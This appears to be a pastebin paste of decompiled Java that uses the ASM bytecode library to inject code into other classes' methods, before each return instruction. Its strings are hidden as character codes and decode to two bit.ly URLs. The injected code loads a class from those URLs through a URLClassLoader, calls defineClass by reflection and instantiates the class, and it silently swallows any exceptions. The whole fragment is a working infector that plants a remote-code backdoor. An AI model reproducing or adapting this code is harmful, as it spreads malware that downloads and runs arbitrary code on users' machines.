- insnList.add((AbstractInsnNode)new IntInsnNode(16, 14));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 104));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 116));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 116));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 112));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 58));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(8));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 98));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 9));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 116));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 10));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 46));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 11));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 108));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 12));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 121));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 13));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 11));
- string3 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string3);
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string9 + string22));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new TypeInsnNode(189, string9));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string9));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string2));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string2, string4, string15, false));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 11));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 50));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 50));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 88));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 66));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 113));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(8));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 121));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, "toString", "()L" + string24 + string20, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string9, string4, "(L" + string24 + ";)V", false));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string9));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string2));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string2, string4, string15, false));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 11));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 49));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 88));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 75));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 65));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 69));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(8));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 112));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 90));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, string16, "(L" + string24 + ";)L" + string2 + string20, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string2, "toString", "()L" + string24 + string20, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string9, string4, "(L" + string24 + ";)V", false));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new MethodInsnNode(184, string21, "currentThread", "()L" + string21 + string20, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string21, "getContext" + string22, "()L" + string11 + string20, false));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string9 + string22, string4, "([L" + string9 + ";L" + string11 + ";)V", false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 12));
- string2 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string2);
- insnList.add((AbstractInsnNode)new LdcInsnNode((Object)Type.getType((String)("L" + string11 + string20))));
- insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 11));
- insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 100));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 101));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 102));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 110));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(8));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 101));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 67));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 108));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 97));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 9));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 115));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 10));
- insnList.add((AbstractInsnNode)new IntInsnNode(16, 115));
- insnList.add((AbstractInsnNode)new InsnNode(84));
- insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new TypeInsnNode(189, string10));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new LdcInsnNode((Object)Type.getType((String)("L" + string24 + string20))));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new LdcInsnNode((Object)Type.getType((String)"[B")));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new FieldInsnNode(178, string19, "TYPE", "L" + string10 + string20));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new FieldInsnNode(178, string19, "TYPE", "L" + string10 + string20));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string10, "getDeclaredMethod", "(L" + string24 + ";[L" + string10 + ";)L" + string17 + string20, false));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 13));
- string24 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string24);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 13));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string17, "setAccessible", "(Z)V", false));
- string24 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string24);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 13));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 12));
- insnList.add((AbstractInsnNode)new InsnNode(7));
- insnList.add((AbstractInsnNode)new TypeInsnNode(189, string18));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new InsnNode(1));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(4));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(5));
- insnList.add((AbstractInsnNode)new InsnNode(3));
- insnList.add((AbstractInsnNode)new MethodInsnNode(184, string19, "valueOf", "(I)L" + string19 + string20, false));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new InsnNode(89));
- insnList.add((AbstractInsnNode)new InsnNode(6));
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
- insnList.add((AbstractInsnNode)new InsnNode(190));
- insnList.add((AbstractInsnNode)new MethodInsnNode(184, string19, "valueOf", "(I)L" + string19 + string20, false));
- insnList.add((AbstractInsnNode)new InsnNode(83));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string17, "invoke", "(L" + string18 + ";[L" + string18 + ";)L" + string18 + string20, false));
- insnList.add((AbstractInsnNode)new TypeInsnNode(192, string10));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 14));
- string24 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)string24);
- insnList.add((AbstractInsnNode)new VarInsnNode(25, 14));
- insnList.add((AbstractInsnNode)new MethodInsnNode(182, string10, "newInstance", "()L" + string18 + string20, false));
- insnList.add((AbstractInsnNode)new InsnNode(87));
- insnList.add((AbstractInsnNode)labelNode2);
- insnList.add((AbstractInsnNode)new FrameNode(0, 0, new Object[0], 0, new Object[0]));
- string24 = new LabelNode(new Label());
- insnList.add((AbstractInsnNode)new JumpInsnNode(167, (LabelNode)string24));
- insnList.add((AbstractInsnNode)labelNode3);
- insnList.add((AbstractInsnNode)new FrameNode(4, 0, null, 1, new Object[]{"java/lang/Exception"}));
- insnList.add((AbstractInsnNode)new VarInsnNode(58, 0));
- insnList.add((AbstractInsnNode)string24);
- insnList.add((AbstractInsnNode)new FrameNode(3, 0, null, 0, null));
- if (!bl) {
- insnList.add((AbstractInsnNode)new InsnNode(177));
- }
- methodNode.tryCatchBlocks.add(new TryCatchBlockNode(labelNode, labelNode2, labelNode3, "java/lang/Exception"));
- if (bl) {
- for (String string24 : methodNode.instructions) {
- if (string24.getOpcode() != 172 && string24.getOpcode() != 177 && string24.getOpcode() != 176 && string24.getOpcode() != 173 && string24.getOpcode() != 175) continue;
- methodNode.instructions.insertBefore((AbstractInsnNode)string24, insnList);
- }
- return;
- }
- methodNode.instructions.add(insnList);
- }
- static {
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement